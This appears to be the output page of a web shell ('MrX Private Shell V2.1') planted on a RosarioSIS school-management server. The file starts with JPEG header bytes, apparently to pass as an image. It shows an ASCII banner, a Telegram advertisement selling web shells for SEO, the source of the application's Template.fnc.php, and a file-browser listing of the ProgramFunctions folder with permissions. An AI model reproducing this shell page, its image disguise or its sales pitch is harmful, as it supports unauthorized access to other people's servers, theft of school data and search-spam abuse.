����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Template functions
* Templates let you save a per user template.
* Useful for Document, Letter, or Email related programs.
* Default templates must be saved to DB under STAFF_ID 0.
*
* @package RosarioSIS
* @subpackage ProgramFunctions
*/
/**
* Get Template
* For program and user.
*
* @since 3.6
* @since 10.2.3 Get template from last school year (rollover ID)
* @since 11.4.1 Add `ProgramFunctions/Template.fnc.php|before_get` action hook
*
* @example GetTemplate( $_REQUEST['modname'], User( 'STAFF_ID' ) )
*
* @param string $modname Specify program name (optional) defaults to current program.
* @param integer $staff_id User ID (optional), default to logged in User.
*
* @return string Empty if no template found, else user template or last year's or default.
*/
function GetTemplate( $modname = '', $staff_id = 0 ) {
if ( ! $modname )
{
$modname = $_REQUEST['modname'];
}
$rollover_id = 0;
if ( ! $staff_id )
{
$staff_id = User( 'STAFF_ID' );
$rollover_id = User( 'ROLLOVER_ID' );
}
else
{
$rollover_id = (int) DBGetOne( "SELECT ROLLOVER_ID
FROM staff
WHERE STAFF_ID='" . (int) $staff_id . "'" );
}
$staff_id_sql = '';
if ( $rollover_id )
{
// @since 10.2.3 Get template from last school year (rollover ID)
$staff_id_sql .= ",'" . $rollover_id . "'";
}
if ( $staff_id )
{
// Fix SQL error when no user in session.
$staff_id_sql .= ",'" . $staff_id . "'";
}
/**
* Template before get
* Filter &$modname var
*
* @since 11.4.1
*/
do_action( 'ProgramFunctions/Template.fnc.php|before_get', [ &$modname ] );
if ( ! $modname )
{
return '';
}
$template = DBGetOne( "SELECT TEMPLATE
FROM templates
WHERE MODNAME='" . $modname . "'
AND STAFF_ID IN(0" . $staff_id_sql . ")
ORDER BY STAFF_ID DESC
LIMIT 1" );
return $template ? $template : '';
}
/**
* Save Template
*
* @since 3.6
* @since 5.0 Save Template even if no default template found.
* @since 11.4.1 Add `ProgramFunctions/Template.fnc.php|before_save` action hook
*
* @example SaveTemplate( DBEscapeString( SanitizeHTML( $_POST['inputfreetext'] ) ) );
*
* @param string $template Template text or HTML (use DBEscapeString() & SanitizeHTML() first!).
* @param string $modname Specify program name (optional) defaults to current program.
* @param integer $staff_id User ID (optional), defaults to logged in User, use 0 for default template.
*
* @return boolean False if no modname, else true if saved.
*/
function SaveTemplate( $template, $modname = '', $staff_id = -1 )
{
if ( ! $modname )
{
$modname = $_REQUEST['modname'];
}
if ( $staff_id < 0 )
{
$staff_id = User( 'STAFF_ID' );
}
/**
* Template before save
* Filter &$modname, &$staff_id var
*
* @since 11.4.1
*/
do_action( 'ProgramFunctions/Template.fnc.php|before_save', [ &$modname, &$staff_id ] );
if ( ! $modname )
{
return false;
}
$is_template_update = DBGet( "SELECT STAFF_ID
FROM templates
WHERE MODNAME='" . $modname . "'
AND STAFF_ID IN(0,'" . $staff_id . "')", [], [ 'STAFF_ID' ] );
DBUpsert(
'templates',
[ 'TEMPLATE' => $template ],
[ 'MODNAME' => $modname, 'STAFF_ID' => (int) $staff_id ],
! isset( $is_template_update[ $staff_id ] ) ? 'insert' : 'update'
);
return true;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| PHPCompatibility | Folder | 0755 |
|
|
| Charts.fnc.php | File | 6.03 KB | 0644 |
|
| Dashboard.fnc.php | File | 2.79 KB | 0644 |
|
| DashboardModule.fnc.php | File | 6.17 KB | 0644 |
|
| Debug.fnc.php | File | 1.56 KB | 0644 |
|
| Fields.fnc.php | File | 20.17 KB | 0644 |
|
| FileUpload.fnc.php | File | 25.36 KB | 0644 |
|
| FirstLogin.fnc.php | File | 9.19 KB | 0644 |
|
| HackingLog.fnc.php | File | 2.41 KB | 0644 |
|
| Help.fnc.php | File | 5.03 KB | 0644 |
|
| Linkify.fnc.php | File | 1.19 KB | 0644 |
|
| MailingLabel.fnc.php | File | 3.7 KB | 0644 |
|
| MarkDownHTML.fnc.php | File | 6.87 KB | 0644 |
|
| PortalPollsNotes.fnc.php | File | 14.16 KB | 0644 |
|
| README | File | 267 B | 0644 |
|
| SchoolPeriodsSelectInput.fnc.php | File | 3.15 KB | 0644 |
|
| SendEmail.fnc.php | File | 5.05 KB | 0644 |
|
| SendNotification.fnc.php | File | 10.85 KB | 0644 |
|
| StudentsUsersInfo.fnc.php | File | 23.68 KB | 0644 |
|
| Substitutions.fnc.php | File | 7.63 KB | 0644 |
|
| Template.fnc.php | File | 3.21 KB | 0644 |
|
| Theme.fnc.php | File | 1.93 KB | 0644 |
|
| TipMessage.fnc.php | File | 3.7 KB | 0644 |
|
| Update.fnc.php | File | 35.17 KB | 0644 |
|
| UpdateV2_3.fnc.php | File | 16.27 KB | 0644 |
|
| UpdateV4_5.fnc.php | File | 58.61 KB | 0644 |
|
| UpdateV6_8_9.fnc.php | File | 22.19 KB | 0644 |
|
| UserAgent.fnc.php | File | 1.68 KB | 0644 |
|
| _makeLetterGrade.fnc.php | File | 4.03 KB | 0644 |
|
| _makePercentGrade.fnc.php | File | 2.73 KB | 0644 |
|
| miscExport.fnc.php | File | 2.17 KB | 0644 |
|